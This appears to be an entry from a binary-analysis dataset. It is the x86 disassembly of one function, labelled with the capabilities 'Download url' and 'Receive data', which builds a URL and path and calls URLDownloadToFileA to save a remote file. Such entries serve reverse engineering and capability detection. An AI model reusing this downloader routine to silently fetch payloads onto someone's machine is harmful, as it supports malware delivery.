Function at 0x1000c2a3
Capabilities:
Download url
Receive data

Disassembly:
mov eax, 0x10043872
call fcn.10033d28
sub esp, 0xc68
mov eax, dword [0x1005392c]
push ebx
push esi
push edi
lea ecx, [ebp - 0xc24]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esp
mov byte [ebp - 0xc1d], 0
call fcn.100255a6
xor edi, edi
lea ecx, [ebp - 0xc2c]
mov dword [ebp - 4], edi
call fcn.10024ab4
mov esi, dword [ebp + 8]
cmp dword [esi + 0xc], 7
jne 0x1000c2f3
mov bl, 1
jmp 0x1000c5c1
lea ebx, [esi + 0x70]
cmp dword [ebx + 0x18], 0x10
mov byte [ebp - 4], 2
jb 0x1000c305
mov eax, dword [ebx + 4]
jmp 0x1000c308
lea eax, [ebx + 4]
push eax
lea eax, [ebp - 0xc74]
push eax
lea ecx, [ebp - 0xc24]
call fcn.100256ee
push eax
lea eax, [ebp - 0xc58]
push 0x10094dd8
push eax
mov byte [ebp - 4], 3
call fcn.100024a8
add esp, 0xc
push 0xffffffffffffffff
push edi
add esi, 0x8c
push eax
mov ecx, esi
mov byte [ebp - 4], 4
call fcn.10001a1c
push edi
push 1
lea ecx, [ebp - 0xc58]
call fcn.1000151f
push edi
push 1
lea ecx, [ebp - 0xc74]
call fcn.1000151f
push edi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x18], 0xf
call fcn.10001481
mov dword [ebp - 0xc38], edi
mov dword [ebp - 0xc34], edi
mov dword [ebp - 0xc30], edi
push 0xffffffffffffffff
push edi
push ebx
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 6
call fcn.10001a1c
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0xc3c]
call fcn.1000340e
lea ecx, [ebp - 0xc28]
call fcn.10024ab4
xor eax, eax
mov byte [ebp - 0x44c], 0
mov ecx, 0xff
lea edi, [ebp - 0x44b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x13
stosb byte es:[edi], al
lea eax, [ebp - 0x44c]
push 0x10046934
push eax
mov byte [ebp - 4], 7
call fcn.10033130
add esp, 0xc
push 0x10046948
push 0x13
lea eax, [ebp - 0x44c]
push eax
lea ecx, [ebp - 0xc28]
call fcn.10024ac4
lea eax, [ebp - 0x44c]
push eax
lea ecx, [ebp - 0xc58]
call fcn.10001cde
lea eax, [ebp - 0xc58]
push eax
lea ecx, [ebp - 0xc3c]
mov byte [ebp - 4], 8
call fcn.1000340e
xor edi, edi
push edi
push 1
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 7
call fcn.1000151f
lea eax, [ebp - 0xc3c]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100267a6
pop ecx
pop ecx
cmp dword [ebp - 0x38], edi
mov byte [ebp - 4], 9
jbe 0x1000c50d
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [ebp - 0x2c]
jae 0x1000c464
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x1000c470
lea eax, [ebp - 0x48]
push ecx
push eax
call fcn.10038a55
test eax, eax
pop ecx
pop ecx
je 0x1000c50d
mov edi, 0x3e8
push edi
lea eax, [ebp - 0xc1c]
push 0
push eax
call fcn.10033d50
push edi
lea eax, [ebp - 0x834]
push 0
push eax
call fcn.10033d50
mov eax, dword [ebp - 0x2c]
add esp, 0x18
cmp dword [ebp - 0x18], 0x10
jae 0x1000c4b3
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xc1c]
push eax
call fcn.10035050
lea eax, [ebp - 0xc14]
push 0x100467cc
push eax
call fcn.100353d0
mov edi, eax
add esp, 0x10
test edi, edi
je 0x1000c50b
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x834]
push eax
call fcn.10035050
lea eax, [ebp - 0x834]
push edi
push eax
call fcn.10035060
add esp, 0x10
lea eax, [ebp - 0x834]
push eax
mov ecx, ebx
call fcn.10001bfb
xor edi, edi
cmp dword [esi + 0x18], 0x10
jb 0x1000c518
mov eax, dword [esi + 4]
jmp 0x1000c51b
lea eax, [esi + 4]
cmp dword [ebx + 0x18], 0x10
jb 0x1000c526
mov ebx, dword [ebx + 4]
jmp 0x1000c529
add ebx, 4
push edi
push edi
push eax
push ebx
push edi
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x1000c57d
cmp dword [esi + 0x18], 0x10
jb 0x1000c542
mov eax, dword [esi + 4]
jmp 0x1000c545
lea eax, [esi + 4]
push eax
lea ecx, [ebp - 0xc24]
call fcn.100255c8
test al, al
je 0x1000c56f
cmp dword [esi + 0x18], 0x10
jb 0x1000c560
mov eax, dword [esi + 4]
jmp 0x1000c563
lea eax, [esi + 4]
push eax
lea ecx, [ebp - 0xc24]
call fcn.100255e2
push 0x100464df
mov ecx, esi
call fcn.10001bfb
jmp 0x1000c584
mov byte [ebp - 0xc1d], 1
push edi
push 1
lea ecx, [ebp - 0x4c]
call fcn.1000151f
lea ecx, [ebp - 0xc28]
mov byte [ebp - 4], 6
call fcn.10024abd
lea ecx, [ebp - 0xc3c]
call fcn.10002a7d
push edi
push 1
lea ecx, [ebp - 0x30]
call fcn.1000151f
mov bl, byte [ebp - 0xc1d]
mov dword [ebp - 4], 1
lea ecx, [ebp - 0xc2c]
mov byte [ebp - 4], 0
call fcn.10024abd
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc24]
call fcn.100255af
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov al, bl
call fcn.100341e0
pop edi
pop esi
pop ebx
leave
ret 4